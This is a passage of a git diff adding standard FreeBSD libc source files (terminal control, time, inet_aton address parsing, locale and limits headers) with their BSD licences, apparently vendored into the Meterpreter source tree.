* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)termios.c 8.2 (Berkeley) 2/21/94";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/gen/termios.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include "namespace.h"
|
||||
#include <sys/types.h>
|
||||
#include <sys/fcntl.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
#include <errno.h>
|
||||
#include <termios.h>
|
||||
#include <unistd.h>
|
||||
#include "un-namespace.h"
|
||||
|
||||
int
|
||||
tcgetattr(fd, t)
|
||||
int fd;
|
||||
struct termios *t;
|
||||
{
|
||||
|
||||
return (_ioctl(fd, TIOCGETA, t));
|
||||
}
|
||||
|
||||
int
|
||||
tcsetattr(fd, opt, t)
|
||||
int fd, opt;
|
||||
const struct termios *t;
|
||||
{
|
||||
struct termios localterm;
|
||||
|
||||
if (opt & TCSASOFT) {
|
||||
localterm = *t;
|
||||
localterm.c_cflag |= CIGNORE;
|
||||
t = &localterm;
|
||||
}
|
||||
switch (opt & ~TCSASOFT) {
|
||||
case TCSANOW:
|
||||
return (_ioctl(fd, TIOCSETA, t));
|
||||
case TCSADRAIN:
|
||||
return (_ioctl(fd, TIOCSETAW, t));
|
||||
case TCSAFLUSH:
|
||||
return (_ioctl(fd, TIOCSETAF, t));
|
||||
default:
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
tcsetpgrp(int fd, pid_t pgrp)
|
||||
{
|
||||
int s;
|
||||
|
||||
s = pgrp;
|
||||
return (_ioctl(fd, TIOCSPGRP, &s));
|
||||
}
|
||||
|
||||
pid_t
|
||||
tcgetpgrp(fd)
|
||||
int fd;
|
||||
{
|
||||
int s;
|
||||
|
||||
if (_ioctl(fd, TIOCGPGRP, &s) < 0)
|
||||
return ((pid_t)-1);
|
||||
|
||||
return ((pid_t)s);
|
||||
}
|
||||
|
||||
speed_t
|
||||
cfgetospeed(t)
|
||||
const struct termios *t;
|
||||
{
|
||||
|
||||
return (t->c_ospeed);
|
||||
}
|
||||
|
||||
speed_t
|
||||
cfgetispeed(t)
|
||||
const struct termios *t;
|
||||
{
|
||||
|
||||
return (t->c_ispeed);
|
||||
}
|
||||
|
||||
int
|
||||
cfsetospeed(t, speed)
|
||||
struct termios *t;
|
||||
speed_t speed;
|
||||
{
|
||||
|
||||
t->c_ospeed = speed;
|
||||
return (0);
|
||||
}
|
||||
|
||||
int
|
||||
cfsetispeed(t, speed)
|
||||
struct termios *t;
|
||||
speed_t speed;
|
||||
{
|
||||
|
||||
t->c_ispeed = speed;
|
||||
return (0);
|
||||
}
|
||||
|
||||
int
|
||||
cfsetspeed(t, speed)
|
||||
struct termios *t;
|
||||
speed_t speed;
|
||||
{
|
||||
|
||||
t->c_ispeed = t->c_ospeed = speed;
|
||||
return (0);
|
||||
}
|
||||
|
||||
/*
|
||||
* Make a pre-existing termios structure into "raw" mode: character-at-a-time
|
||||
* mode with no characters interpreted, 8-bit data path.
|
||||
*/
|
||||
void
|
||||
cfmakeraw(t)
|
||||
struct termios *t;
|
||||
{
|
||||
|
||||
t->c_iflag &= ~(IMAXBEL|IXOFF|INPCK|BRKINT|PARMRK|ISTRIP|INLCR|IGNCR|ICRNL|IXON|IGNPAR);
|
||||
t->c_iflag |= IGNBRK;
|
||||
t->c_oflag &= ~OPOST;
|
||||
t->c_lflag &= ~(ECHO|ECHOE|ECHOK|ECHONL|ICANON|ISIG|IEXTEN|NOFLSH|TOSTOP|PENDIN);
|
||||
t->c_cflag &= ~(CSIZE|PARENB);
|
||||
t->c_cflag |= CS8|CREAD;
|
||||
t->c_cc[VMIN] = 1;
|
||||
t->c_cc[VTIME] = 0;
|
||||
}
|
||||
|
||||
int
|
||||
tcsendbreak(fd, len)
|
||||
int fd, len;
|
||||
{
|
||||
struct timeval sleepytime;
|
||||
|
||||
sleepytime.tv_sec = 0;
|
||||
sleepytime.tv_usec = 400000;
|
||||
if (_ioctl(fd, TIOCSBRK, 0) == -1)
|
||||
return (-1);
|
||||
(void)_select(0, 0, 0, 0, &sleepytime);
|
||||
if (_ioctl(fd, TIOCCBRK, 0) == -1)
|
||||
return (-1);
|
||||
return (0);
|
||||
}
|
||||
|
||||
int
|
||||
__tcdrain(fd)
|
||||
int fd;
|
||||
{
|
||||
return (_ioctl(fd, TIOCDRAIN, 0));
|
||||
}
|
||||
|
||||
__weak_reference(__tcdrain, tcdrain);
|
||||
__weak_reference(__tcdrain, _tcdrain);
|
||||
|
||||
int
|
||||
tcflush(fd, which)
|
||||
int fd, which;
|
||||
{
|
||||
int com;
|
||||
|
||||
switch (which) {
|
||||
case TCIFLUSH:
|
||||
com = FREAD;
|
||||
break;
|
||||
case TCOFLUSH:
|
||||
com = FWRITE;
|
||||
break;
|
||||
case TCIOFLUSH:
|
||||
com = FREAD | FWRITE;
|
||||
break;
|
||||
default:
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
return (_ioctl(fd, TIOCFLUSH, &com));
|
||||
}
|
||||
|
||||
int
|
||||
tcflow(fd, action)
|
||||
int fd, action;
|
||||
{
|
||||
struct termios term;
|
||||
u_char c;
|
||||
|
||||
switch (action) {
|
||||
case TCOOFF:
|
||||
return (_ioctl(fd, TIOCSTOP, 0));
|
||||
case TCOON:
|
||||
return (_ioctl(fd, TIOCSTART, 0));
|
||||
case TCION:
|
||||
case TCIOFF:
|
||||
if (tcgetattr(fd, &term) == -1)
|
||||
return (-1);
|
||||
c = term.c_cc[action == TCIOFF ? VSTOP : VSTART];
|
||||
if (c != _POSIX_VDISABLE && _write(fd, &c, sizeof(c)) == -1)
|
||||
return (-1);
|
||||
return (0);
|
||||
default:
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
/* NOTREACHED */
|
||||
}
|
53
c/meterpreter/source/ulibc/gen/time.c
Normal file
53
c/meterpreter/source/ulibc/gen/time.c
Normal file
@ -0,0 +1,53 @@
|
||||
/*
|
||||
* Copyright (c) 1983, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)time.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/gen/time.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
time_t
|
||||
time(t)
|
||||
time_t *t;
|
||||
{
|
||||
struct timeval tt;
|
||||
time_t retval;
|
||||
|
||||
if (gettimeofday(&tt, (struct timezone *)0) < 0)
|
||||
retval = -1;
|
||||
else
|
||||
retval = tt.tv_sec;
|
||||
if (t != NULL)
|
||||
*t = retval;
|
||||
return (retval);
|
||||
}
|
45
c/meterpreter/source/ulibc/glue.h
Normal file
45
c/meterpreter/source/ulibc/glue.h
Normal file
@ -0,0 +1,45 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)glue.h 8.1 (Berkeley) 6/4/93
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/glue.h 165903 2007-01-09 00:28:16Z imp $
|
||||
*/
|
||||
|
||||
/*
|
||||
* The first few FILEs are statically allocated; others are dynamically
|
||||
* allocated and linked in via this glue structure.
|
||||
*/
|
||||
struct glue {
|
||||
struct glue *next;
|
||||
int niobs;
|
||||
FILE *iobs;
|
||||
};
|
||||
extern struct glue __sglue;
|
215
c/meterpreter/source/ulibc/inet/inet_addr.c
Normal file
215
c/meterpreter/source/ulibc/inet/inet_addr.c
Normal file
@ -0,0 +1,215 @@
|
||||
/*
|
||||
* Copyright (c) 1983, 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Portions Copyright (c) 1993 by Digital Equipment Corporation.
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies, and that
|
||||
* the name of Digital Equipment Corporation not be used in advertising or
|
||||
* publicity pertaining to distribution of the document or software without
|
||||
* specific, written prior permission.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND DIGITAL EQUIPMENT CORP. DISCLAIMS ALL
|
||||
* WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL DIGITAL EQUIPMENT
|
||||
* CORPORATION BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
|
||||
* DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
|
||||
* PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
|
||||
* ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
|
||||
* SOFTWARE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Copyright (c) 2004 by Internet Systems Consortium, Inc. ("ISC")
|
||||
* Portions Copyright (c) 1996-1999 by Internet Software Consortium.
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
|
||||
* OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static const char sccsid[] = "@(#)inet_addr.c 8.1 (Berkeley) 6/17/93";
|
||||
static const char rcsid[] = "$Id: inet_addr.c,v 1.4.18.1 2005/04/27 05:00:52 sra Exp $";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/inet/inet_addr.c 170244 2007-06-03 17:20:27Z ume $");
|
||||
|
||||
#include "port_before.h"
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/param.h>
|
||||
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#include "port_after.h"
|
||||
|
||||
/*%
|
||||
* Ascii internet address interpretation routine.
|
||||
* The value returned is in network order.
|
||||
*/
|
||||
in_addr_t /* XXX should be struct in_addr :( */
|
||||
inet_addr(const char *cp) {
|
||||
struct in_addr val;
|
||||
|
||||
if (inet_aton(cp, &val))
|
||||
return (val.s_addr);
|
||||
return (INADDR_NONE);
|
||||
}
|
||||
|
||||
/*%
|
||||
* Check whether "cp" is a valid ascii representation
|
||||
* of an Internet address and convert to a binary address.
|
||||
* Returns 1 if the address is valid, 0 if not.
|
||||
* This replaces inet_addr, the return value from which
|
||||
* cannot distinguish between failure and a local broadcast address.
|
||||
*/
|
||||
int
|
||||
inet_aton(const char *cp, struct in_addr *addr) {
|
||||
u_long val;
|
||||
int base, n;
|
||||
char c;
|
||||
u_int8_t parts[4];
|
||||
u_int8_t *pp = parts;
|
||||
int digit;
|
||||
|
||||
c = *cp;
|
||||
for (;;) {
|
||||
/*
|
||||
* Collect number up to ``.''.
|
||||
* Values are specified as for C:
|
||||
* 0x=hex, 0=octal, isdigit=decimal.
|
||||
*/
|
||||
if (!isdigit((unsigned char)c))
|
||||
return (0);
|
||||
val = 0; base = 10; digit = 0;
|
||||
if (c == '0') {
|
||||
c = *++cp;
|
||||
if (c == 'x' || c == 'X')
|
||||
base = 16, c = *++cp;
|
||||
else {
|
||||
base = 8;
|
||||
digit = 1 ;
|
||||
}
|
||||
}
|
||||
for (;;) {
|
||||
if (isascii(c) && isdigit((unsigned char)c)) {
|
||||
if (base == 8 && (c == '8' || c == '9'))
|
||||
return (0);
|
||||
val = (val * base) + (c - '0');
|
||||
c = *++cp;
|
||||
digit = 1;
|
||||
} else if (base == 16 && isascii(c) &&
|
||||
isxdigit((unsigned char)c)) {
|
||||
val = (val << 4) |
|
||||
(c + 10 - (islower((unsigned char)c) ? 'a' : 'A'));
|
||||
c = *++cp;
|
||||
digit = 1;
|
||||
} else
|
||||
break;
|
||||
}
|
||||
if (c == '.') {
|
||||
/*
|
||||
* Internet format:
|
||||
* a.b.c.d
|
||||
* a.b.c (with c treated as 16 bits)
|
||||
* a.b (with b treated as 24 bits)
|
||||
*/
|
||||
if (pp >= parts + 3 || val > 0xffU)
|
||||
return (0);
|
||||
*pp++ = val;
|
||||
c = *++cp;
|
||||
} else
|
||||
break;
|
||||
}
|
||||
/*
|
||||
* Check for trailing characters.
|
||||
*/
|
||||
if (c != '\0' && (!isascii(c) || !isspace((unsigned char)c)))
|
||||
return (0);
|
||||
/*
|
||||
* Did we get a valid digit?
|
||||
*/
|
||||
if (!digit)
|
||||
return (0);
|
||||
/*
|
||||
* Concoct the address according to
|
||||
* the number of parts specified.
|
||||
*/
|
||||
n = pp - parts + 1;
|
||||
switch (n) {
|
||||
case 1: /*%< a -- 32 bits */
|
||||
break;
|
||||
|
||||
case 2: /*%< a.b -- 8.24 bits */
|
||||
if (val > 0xffffffU)
|
||||
return (0);
|
||||
val |= parts[0] << 24;
|
||||
break;
|
||||
|
||||
case 3: /*%< a.b.c -- 8.8.16 bits */
|
||||
if (val > 0xffffU)
|
||||
return (0);
|
||||
val |= (parts[0] << 24) | (parts[1] << 16);
|
||||
break;
|
||||
|
||||
case 4: /*%< a.b.c.d -- 8.8.8.8 bits */
|
||||
if (val > 0xffU)
|
||||
return (0);
|
||||
val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8);
|
||||
break;
|
||||
}
|
||||
if (addr != NULL)
|
||||
addr->s_addr = htonl(val);
|
||||
return (1);
|
||||
}
|
||||
|
||||
/*
|
||||
* Weak aliases for applications that use certain private entry points,
|
||||
* and fail to include <arpa/inet.h>.
|
||||
*/
|
||||
#undef inet_addr
|
||||
__weak_reference(__inet_addr, inet_addr);
|
||||
#undef inet_aton
|
||||
__weak_reference(__inet_aton, inet_aton);
|
||||
|
||||
/*! \file */
|
39
c/meterpreter/source/ulibc/ldpart.h
Normal file
39
c/meterpreter/source/ulibc/ldpart.h
Normal file
@ -0,0 +1,39 @@
|
||||
/*-
|
||||
* Copyright (c) 2000, 2001 Alexey Zelkin <phantom@FreeBSD.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/lib/libc/locale/ldpart.h 116274 2003-06-13 00:14:07Z jkh $
|
||||
*/
|
||||
|
||||
#ifndef _LDPART_H_
|
||||
#define _LDPART_H_
|
||||
|
||||
#define _LDP_LOADED 0
|
||||
#define _LDP_ERROR (-1)
|
||||
#define _LDP_CACHE 1
|
||||
|
||||
int __part_load_locale(const char *, int*, char **, const char *,
|
||||
int, int, const char **);
|
||||
|
||||
#endif /* !_LDPART_H_ */
|
134
c/meterpreter/source/ulibc/limits.h
Normal file
134
c/meterpreter/source/ulibc/limits.h
Normal file
@ -0,0 +1,134 @@
|
||||
/*-
|
||||
* Copyright (c) 1988, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)limits.h 8.2 (Berkeley) 1/4/94
|
||||
* $FreeBSD: head/include/limits.h 114216 2003-04-29 13:36:06Z kan $
|
||||
*/
|
||||
|
||||
#ifndef _LIMITS_H_
|
||||
#define _LIMITS_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
#if __POSIX_VISIBLE
|
||||
#define _POSIX_ARG_MAX 4096
|
||||
#define _POSIX_CHILD_MAX 25
|
||||
#define _POSIX_LINK_MAX 8
|
||||
#define _POSIX_MAX_CANON 255
|
||||
#define _POSIX_MAX_INPUT 255
|
||||
#define _POSIX_NAME_MAX 14
|
||||
#define _POSIX_NGROUPS_MAX 8
|
||||
#define _POSIX_OPEN_MAX 20
|
||||
#define _POSIX_PATH_MAX 256
|
||||
#define _POSIX_PIPE_BUF 512
|
||||
#define _POSIX_SSIZE_MAX 32767
|
||||
#define _POSIX_STREAM_MAX 8
|
||||
#define _POSIX_TZNAME_MAX 6
|
||||
|
||||
#define BC_BASE_MAX 99 /* max ibase/obase values in bc(1) */
|
||||
#define BC_DIM_MAX 2048 /* max array elements in bc(1) */
|
||||
#define BC_SCALE_MAX 99 /* max scale value in bc(1) */
|
||||
#define BC_STRING_MAX 1000 /* max const string length in bc(1) */
|
||||
#define COLL_WEIGHTS_MAX 0 /* max weights for order keyword */
|
||||
#define EXPR_NEST_MAX 32 /* max expressions nested in expr(1) */
|
||||
#define LINE_MAX 2048 /* max bytes in an input line */
|
||||
#define RE_DUP_MAX 255 /* max RE's in interval notation */
|
||||
|
||||
#define _POSIX2_BC_BASE_MAX 99
|
||||
#define _POSIX2_BC_DIM_MAX 2048
|
||||
#define _POSIX2_BC_SCALE_MAX 99
|
||||
#define _POSIX2_BC_STRING_MAX 1000
|
||||
#define _POSIX2_EQUIV_CLASS_MAX 2
|
||||
#define _POSIX2_EXPR_NEST_MAX 32
|
||||
#define _POSIX2_LINE_MAX 2048
|
||||
#define _POSIX2_RE_DUP_MAX 255
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 199309
|
||||
#define _POSIX_AIO_LISTIO_MAX 16
|
||||
#define _POSIX_AIO_MAX 1
|
||||
#define _POSIX_DELAYTIMER_MAX 32
|
||||
#define _POSIX_MQ_OPEN_MAX 8
|
||||
#define _POSIX_MQ_PRIO_MAX 32
|
||||
#define _POSIX_RTSIG_MAX 8
|
||||
#define _POSIX_SEM_NSEMS_MAX 256
|
||||
#define _POSIX_SEM_VALUE_MAX 32767
|
||||
#define _POSIX_SIGQUEUE_MAX 32
|
||||
#define _POSIX_TIMER_MAX 32
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 199506
|
||||
#define _POSIX_THREAD_DESTRUCTOR_ITERATIONS 4
|
||||
#define _POSIX_THREAD_KEYS_MAX 128
|
||||
#define _POSIX_THREAD_THREADS_MAX 64
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 200112
|
||||
#define _POSIX_HOST_NAME_MAX 255
|
||||
#define _POSIX_LOGIN_NAME_MAX 9
|
||||
#define _POSIX_SS_REPL_MAX 4
|
||||
#define _POSIX_SYMLINK_MAX 255
|
||||
#define _POSIX_SYMLOOP_MAX 8
|
||||
#define _POSIX_TRACE_EVENT_NAME_MAX 30
|
||||
#define _POSIX_TRACE_NAME_MAX 8
|
||||
